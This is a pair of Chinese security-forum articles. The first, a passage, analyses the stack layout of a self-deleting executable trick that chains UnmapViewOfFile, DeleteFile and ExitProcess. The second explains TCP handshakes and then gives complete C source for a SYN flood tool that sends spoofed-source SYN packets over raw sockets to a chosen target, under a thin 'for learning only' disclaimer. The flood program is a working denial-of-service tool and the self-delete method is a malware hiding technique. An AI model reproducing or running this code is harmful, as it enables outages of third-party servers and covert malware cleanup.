在网上查找了很多资料查到HANDLE4是OS的硬编码,CloseHandle((HANDLE)4)用于关闭文件语柄。

要删除一个文件必须要删除打开文件的语柄,如果有文件语柄打开将会失败。在上面已经关闭了。

下面重点分析 __asm { } 里面的内容。

经过一连串的PUSH过后。 堆栈里面的内容形成了这样的形式。

以下是在WIN2000 SP3 VC6.0下测试结果。

ESP         栈内的值     栈内地址

0012FE28     0           0012FE28

0012FE24     0           0012FE24

0012FE20    0012FE78     0012FE20 文件全路径

0012FE1C    77E7CF5C     0012FE1C ExitProcess入口

0012FE18    00040000     0012FE18 module的值

0012FE14    77E6E3A6     0012FE14 DeleteFile入口

0012FE10    77E6D2BD     0012FE10 UnmapViewOfFile

接下来就RET我们知道RET是在函数返回的时候调用的。它的功能就是从当前的ESP指向的堆栈中取出函数的返回地址。对于上面的代码来说现在的ESP=0012FE10,现在取出栈地址0012FE10里面的值77E6D2BD,然后跳转到77E6D2BD,这就到了UnmapViewOfFile的函数入口。为什么0012FE10后面是DeleteFile?参数module为什么又到了0012FE18这些以后我们马上解决。

我们先自己编写一个代码

void main ()

{

UnmapViewOfFile(NULL);

}

然后反汇编看看汇编命令是怎么的。如下:

6: UnmapViewOfFile(NULL);

00401028 mov esi,esp

0040102A push 0

0040102C call dword ptr [__imp__UnmapViewOfFile@4 (004241ac)]

00401032 cmp esi,esp

首先是参数0入栈,然后我们追到[__imp__UnmapViewOfFile@4 (004241ac)]

里面去。看看现在的栈是什么样子的。如下:

栈内地址     栈内值

0012FF30     0         参数

0012FF2C     00401032  返回地址

00401032是CALL函数系统帮我们入栈的我们并没有手工添加。但是对于RET我们在转移到UnmapViewOfFile入口的时候并没有一个返回地址的入栈,也就是说push DeleteFile就成了UnmapViewOfFile函数的返回地址。再上面push module才是UnmapViewOfFile的参数。有一点烦琐好好想一想。好的当我们的UnmapViewOfFile函数调用完毕,现在EIP已经到了77E6E3A6,DeleteFile入口。

但是ESP现在在什么位置?应该在0012FE1C栈内的值为77E7CF5C,同样的道理

在DeleteFile返回后程序应该跳转到77E7CF5C也就是ExitProcess的入口。

那么(0012FE1C+4)才是DeleteFile的参数。也就是0012FE78。PUSH EAX。

当我们的DeleteFile返回的时候,程序跳转到了77E7CF5C,ExitProcess的入口。现在的ESP=0012FE24。一样的道理

PUSH 0 这个是ExitProcess的参数

PUSH 0 这个是ExitProcess的返回地址

由于ExitProcess还没有返回进程就结束了 所以ExitProcess的返回地址是0也不会发生内存错误。

参考文献:

Gary Nebbet的经典源码

以上是本人的一点个人愚见希望对您有所帮助。如果有什么意见,更好的见解欢迎与本人讨论。

=====================

www.rohu.com

虎盟网络安全小组

SYN_FLOOD 简单分析及实现

WriteBy: LionD8

email:LionD8@eyou.com

声明:

此程序有一定攻击性,请只供学习之用,不要危害祖国的网络。如发动攻击一切后果本人概不负责。

网络上发送数据包的攻击有多种(如ICMP_FLOOD, 碎片攻击,等)其中有一种就是 利用TCP 协议三次 握手的攻击(SYN_FLOOD)。下面 就简单 讲述一下 TCP 的三次 握手。

现在 有A,B 两台 机器,其中B是SERVER.A是CLIENT.

首先 A 发送送一个 带有SYN标记(带起始序列号)的数据报 给B。

然后 B 接收, 然后 发送一个ACK+SYN(带B机的起始序列号 和 A的确认号)给A。

最后 A 再发送 一个带序列号 和 确认号的 数据报 给 B。

此时 连接 完成。

利用这个原理,如果A机在第一步伪装大量不存在的机器,给B发送大量的SYN包,那么B会以为有很多合法的机器请求连接,然后一一回应。然后等待第三次 确认建立连接。那么大量等待连接的请求被保留在栈中。一般服务器等待2分钟还没等到第三次握手,那么就会从等待连接的栈中删除连接请求。如果A的SYN发送得足够快,合法用户连接不上,那么服务器也会花费大量的资源来维护栈。从而照成D.o.S攻击。

通过RAW_SOCKET,只要你是管理员,就可以伪造IP和TCP头部,发虚假源地址的SYN请求。

==========================================

简单实现如下:

/* FLOOD.CPP*/

#include <stdio.h>

#include <winsock2.h>

#include <ws2tcpip.h>

#include <windows.h>

#include <time.h>

#include <dos.h>

#pragma comment(lib, “ws2_32.lib”)

#define MAX_RECEIVEBYTE 255

typedef struct ip_head //定义IP首部

{

unsigned char h_verlen; //4位首部长度,4位IP版本号

unsigned char tos; //8位服务类型TOS

unsigned short total_len; //16位总长度(字节)

unsigned short ident; //16位标识

unsigned short frag_and_flags; //3位标志位 (如SYN,ACK,等)

unsigned char ttl; //8位生存时间 TTL

unsigned char proto; //8位协议 (如ICMP,TCP等)

unsigned short checksum; //16位IP首部校验和

unsigned int sourceIP; //32位源IP地址

unsigned int destIP; //32位目的IP地址

}IPHEADER;

typedef struct tcp_head //定义TCP首部

{

USHORT th_sport; //16位源端口

USHORT th_dport; //16位目的端口

unsigned int th_seq; //32位序列号

unsigned int th_ack; //32位确认号

unsigned char th_lenres; //4位首部长度/6位保留字

unsigned char th_flag; //6位标志位

USHORT th_win; //16位窗口大小

USHORT th_sum; //16位校验和

USHORT th_urp; //16位紧急数据偏移量

}TCPHEADER;

typedef struct tsd_head //定义TCP伪首部

{

unsigned long saddr; //源地址

unsigned long daddr; //目的地址

char mbz;

char ptcl; //协议类型

unsigned short tcpl; //TCP长度

}PSDHEADER;

//CheckSum:计算校验和的子函数

USHORT checksum(USHORT *buffer, int size)

{

unsigned long cksum=0;

while(size >1)

{

cksum+=*buffer++;

size -=sizeof(USHORT);

}

if(size)

{

cksum += *(UCHAR*)buffer;

}

cksum = (cksum >> 16) + (cksum & 0xffff);

cksum += (cksum >>16);

return (USHORT)(~cksum);

}

 

void usage()

{

printf(“***********************************************************”);

printf(“SYN_FLOOD MADE BY LionD8″);

printf(“Useage: FLOOD Target_ip Target_port Delay_time “);

printf(“***********************************************************”);

}

//Delay_time单位为毫秒。

int main(int argc, char* argv[])

{

WSADATA WSAData;

SOCKET sock;

SOCKADDR_IN addr_in;

IPHEADER ipHeader;

TCPHEADER tcpHeader;

PSDHEADER psdHeader;

int SourcePort;

char szSendBuf[60]={0};

BOOL flag;

int rect,nTimeOver;

int sleeptime;

usage();

if (argc < 3 || argc >4 )

{ printf(“input error! “);

return false; }

if (argc==4) sleeptime=atoi(argv[3]);

else sleeptime=300;

if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0)

{

printf(“WSAStartup Error!”);

return false;

}

sock=NULL;

if ((sock=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)

{

printf(“Socket Setup Error!”);

return false;

}

flag=true;

if (setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag))==SOCKET_ERROR)

{

printf(“setsockopt IP_HDRINCL error!”);

return false;

}

nTimeOver=1000;

if (setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&nTimeOver, sizeof(nTimeOver))==SOCKET_ERROR) //设置发送的时间

{

printf(“setsockopt SO_SNDTIMEO error!”);

return false;

}

addr_in.sin_family=AF_INET;

addr_in.sin_port=htons(atoi(argv[2]));

addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);

while(TRUE)

{

//填充IP首部

ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));

ipHeader.tos=0;

ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader)); //IP总长度

ipHeader.ident=1;

ipHeader.frag_and_flags=0; //无分片

ipHeader.ttl=(unsigned char)GetTickCount()%87+123;

ipHeader.proto=IPPROTO_TCP; // 协议类型为 TCP

ipHeader.checksum=0; //效验位先初始为0

ipHeader.sourceIP=htonl(GetTickCount()*474695); //随机产生一个伪造的IP

ipHeader.destIP=inet_addr(argv[1]); //目标IP

//填充TCP首部

SourcePort=GetTickCount()*43557%9898; //随机产生一个端口号

tcpHeader.th_dport=htons(atoi(argv[2])); //发送的目的端口

tcpHeader.th_sport=htons(SourcePort); //源端口号

tcpHeader.th_seq=htonl(0×12345678); //序列号

tcpHeader.th_ack=0; //确认号

tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);

tcpHeader.th_flag=2; //为SYN请求

tcpHeader.th_win=htons(512);

tcpHeader.th_urp=0;

tcpHeader.th_sum=0;

//填充TCP伪首部用来计算TCP头部的效验和

psdHeader.saddr=ipHeader.sourceIP;

psdHeader.daddr=ipHeader.destIP;

psdHeader.mbz=0;

psdHeader.ptcl=IPPROTO_TCP;

psdHeader.tcpl=htons(sizeof(tcpHeader));

//计算校验和

memcpy(szSendBuf, &psdHeader, sizeof(psdHeader));

memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));

tcpHeader.th_sum=checksum((USHORT *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader));

//把伪造好的IP头 和 TCP 头 放进 buf 准备发送

memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));

memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));

//发送数据包

rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader), 0, (struct sockaddr*)&addr_in, sizeof(addr_in));

if (rect==SOCKET_ERROR)

{

printf(“send error!:%x”,WSAGetLastError());

return false;

}

else

printf(“send ok!”);

Sleep(sleeptime); //根据自己网速的快慢确定此值,sleeptime越小发得越快

}//endwhile //重新伪造IP的源地址等再次向目标发送

closesocket(sock);

WSACleanup();

return 0;

}

在VC++6.0 下编译通过。